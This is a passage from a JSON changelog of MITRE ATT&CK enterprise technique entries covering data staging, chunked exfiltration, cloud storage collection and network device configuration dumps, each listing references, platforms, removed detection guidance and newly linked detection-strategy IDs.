"url": "https://attack.mitre.org/techniques/T1074",
"external_id": "T1074"
},
{
"source_name": "Mandiant M-Trends 2020",
"description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
"url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
},
{
"source_name": "PWC Cloud Hopper April 2017",
"description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.",
"url": "https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Praetorian",
"Shane Tully, @securitygypsy"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"IaaS",
"Linux",
"macOS",
"ESXi"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Access\", \"File: File Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:01.010000+00:00\", \"old_value\": \"2025-04-15 19:58:45.225000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\\n\\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nConsider monitoring accesses and modifications to storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-Consider monitoring accesses and modifications to storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)",
"DS0022: File (File Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0014: Detection of Data Staging Prior to Exfiltration"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-13 21:13:10.467000+00:00",
"modified": "2025-10-24 17:48:28.868000+00:00",
"name": "Local Data Staging",
"description": "Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nAdversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1074/001",
"external_id": "T1074.001"
},
{
"source_name": "Prevailion DarkWatchman 2021",
"description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.",
"url": "https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Massimiliano Romano, BT Security"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Windows Registry: Windows Registry Key Modification\", \"File: File Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:28.868000+00:00\", \"old_value\": \"2025-04-15 19:58:11.270000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\\n\\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nConsider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-Consider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)",
"DS0022: File (File Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0261: Detection of Local Data Staging Prior to Exfiltration"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-13 21:14:58.206000+00:00",
"modified": "2025-10-24 17:48:38.453000+00:00",
"name": "Remote Data Staging",
"description": "Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nBy staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1074/002",
"external_id": "T1074.002"
},
{
"source_name": "Mandiant M-Trends 2020",
"description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
"url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Praetorian"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"IaaS",
"Linux",
"macOS",
"ESXi"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Command: Command Execution\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:38.453000+00:00\", \"old_value\": \"2025-04-15 19:58:21.613000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\\n\\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)",
"DS0022: File (File Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0071: Detection of Remote Data Staging Prior to Exfiltration"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:34.523000+00:00",
"modified": "2025-10-24 17:49:20.770000+00:00",
"name": "Data Transfer Size Limits",
"description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1030",
"external_id": "T1030"
},
{
"source_name": "University of Birmingham C2",
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"ESXi"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:20.770000+00:00\", \"old_value\": \"2025-04-15 19:59:05.559000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1031: Network Intrusion Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0213: Detection Strategy for Data Transfer Size Limits and Chunked Exfiltration"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-08-30 18:07:27.741000+00:00",
"modified": "2025-10-24 17:48:37.187000+00:00",
"name": "Data from Cloud Storage",
"description": "Adversaries may access data from cloud storage.\n\nMany IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. Similarly, SaaS enterprise platforms such as Office 365 and Google Workspace provide cloud-based document storage to users through services such as OneDrive and Google Drive, while SaaS application providers such as Slack, Confluence, Salesforce, and Dropbox may provide cloud storage solutions as a peripheral or primary use case of their platform. \n\nIn some cases, as with IaaS-based cloud storage, there exists no overarching application (such as SQL or Elasticsearch) with which to interact with the stored objects: instead, data from these solutions is retrieved directly though the [Cloud API](https://attack.mitre.org/techniques/T1059/009). In SaaS applications, adversaries may be able to collect this data directly from APIs or backend cloud storage objects, rather than through their front-end application or interface (i.e., [Data from Information Repositories](https://attack.mitre.org/techniques/T1213)). \n\nAdversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.\n\nThis open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021)\n\nAdversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1530",
"external_id": "T1530"
},
{
"source_name": "Amazon S3 Security, 2019",
"description": "Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019.",
"url": "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/"
},
{
"source_name": "Microsoft Azure Storage Security, 2019",
"description": "Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019.",
"url": "https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide"
},
{
"source_name": "Wired Magecart S3 Buckets, 2019",
"description": "Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker Group Hit 17K Domains\u2014and Counting. Retrieved October 4, 2019.",
"url": "https://www.wired.com/story/magecart-amazon-cloud-hacks/"
},
{
"source_name": "Google Cloud Storage Best Practices, 2019",
"description": "Google. (2019, September 16). Best practices for Cloud Storage. Retrieved October 4, 2019.",
"url": "https://cloud.google.com/storage/docs/best-practices"
},
{
"source_name": "HIPAA Journal S3 Breach, 2017",
"description": "HIPAA Journal. (2017, October 11). 47GB of Medical Records and Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019.",
"url": "https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/"
},
{
"source_name": "Rclone-mega-extortion_05_2021",
"description": "Justin Schoenfeld, Aaron Didier. (2021, May 4). Transferring leverage in a ransomware attack. Retrieved July 14, 2022.",
"url": "https://redcanary.com/blog/rclone-mega-extortion/"
},
{
"source_name": "Trend Micro S3 Exposed PII, 2017",
"description": "Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed Almost 50 Thousand PII in Australia. Retrieved October 4, 2019.",
"url": "https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Netskope",
"Praetorian",
"AppOmni",
"Arun Seelagan, CISA"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS",
"Office Suite",
"SaaS"
],
"x_mitre_version": "2.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Cloud Service: Cloud Service Metadata\", \"Cloud Storage: Cloud Storage Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:37.187000+00:00\", \"old_value\": \"2025-04-15 22:15:26.889000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.\"}}}",
"previous_version": "2.2",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1022: Restrict File and Directory Permissions",
"M1032: Multi-factor Authentication",
"M1037: Filter Network Traffic",
"M1041: Encrypt Sensitive Information",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0010: Cloud Storage (Cloud Storage Access)",
"DS0025: Cloud Service (Cloud Service Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0484: Multi-Platform Cloud Storage Exfiltration Behavior Chain"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-19 23:46:13.931000+00:00",
"modified": "2025-10-24 17:48:22.396000+00:00",
"name": "Data from Configuration Repository",
"description": "Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.\n\nAdversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1602",
"external_id": "T1602"
},
{
"source_name": "Cisco Advisory SNMP v3 Authentication Vulnerabilities",
"description": "Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.",
"url": "https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3"
},
{
"source_name": "US-CERT TA17-156A SNMP Abuse 2017",
"description": "US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020.",
"url": "https://us-cert.cisa.gov/ncas/alerts/TA17-156A"
},
{
"source_name": "US-CERT-TA18-106A",
"description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Network Devices"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:22.396000+00:00\", \"old_value\": \"2025-04-16 20:37:15.147000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Identify network traffic sent or received by untrusted hosts or networks that solicits and obtains the configuration information of the queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1030: Network Segmentation",
"M1031: Network Intrusion Prevention",
"M1037: Filter Network Traffic",
"M1041: Encrypt Sensitive Information",
"M1051: Update Software",
"M1054: Software Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0592: Detection Strategy for Data from Configuration Repository on Network Devices"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-20 00:08:21.745000+00:00",
"modified": "2025-10-24 17:48:47.219000+00:00",
"name": "Network Device Configuration Dump",
"description": "Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1602/002",
"external_id": "T1602.002"
},
{
"source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018",
"description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A"
},
{
"source_name": "Cisco Blog Legacy Device Attacks",
"description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
"url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
},
{
"source_name": "US-CERT TA18-068A 2018",
"description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Network Devices"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Connection Creation\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:47.219000+00:00\", \"old_value\": \"2025-04-25 14:46:40.804000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Identify network traffic sent or received by untrusted hosts or networks. Configure signatures to identify strings that may be found in a network device configuration.(Citation: US-CERT TA18-068A 2018)\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1030: Network Segmentation",
"M1031: Network Intrusion Prevention",
"M1037: Filter Network Traffic",
"M1041: Encrypt Sensitive Information",
"M1051: Update Software",
"M1054: Software Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0233: Detection Strategy for Network Device Configuration Dump via Config Repositories"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-19 23:51:05.953000+00:00",
"modified": "2025-10-24 17:49:34.969000+00:00",
"name": "SNMP (MIB Dump)",
"description": "Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).\n\nThe MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details.\n\nAdversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1602/001",
"external_id": "T1602.001"
},
{
"source_name": "SANS Information Security Reading Room Securing SNMP Securing SNMP",
"description": "Michael Stump. (2003). Information Security Reading Room Securing SNMP: A Look atNet-SNMP (SNMPv3). Retrieved October 19, 2020.",
"url": "https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051"
},
{
"source_name": "US-CERT-TA18-106A",
"description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
},
{
"source_name": "Cisco Blog Legacy Device Attacks",
"description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
"url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
},
{
"source_name": "Cisco Advisory SNMP v3 Authentication Vulnerabilities",
"description": "Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.",
"url": "https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
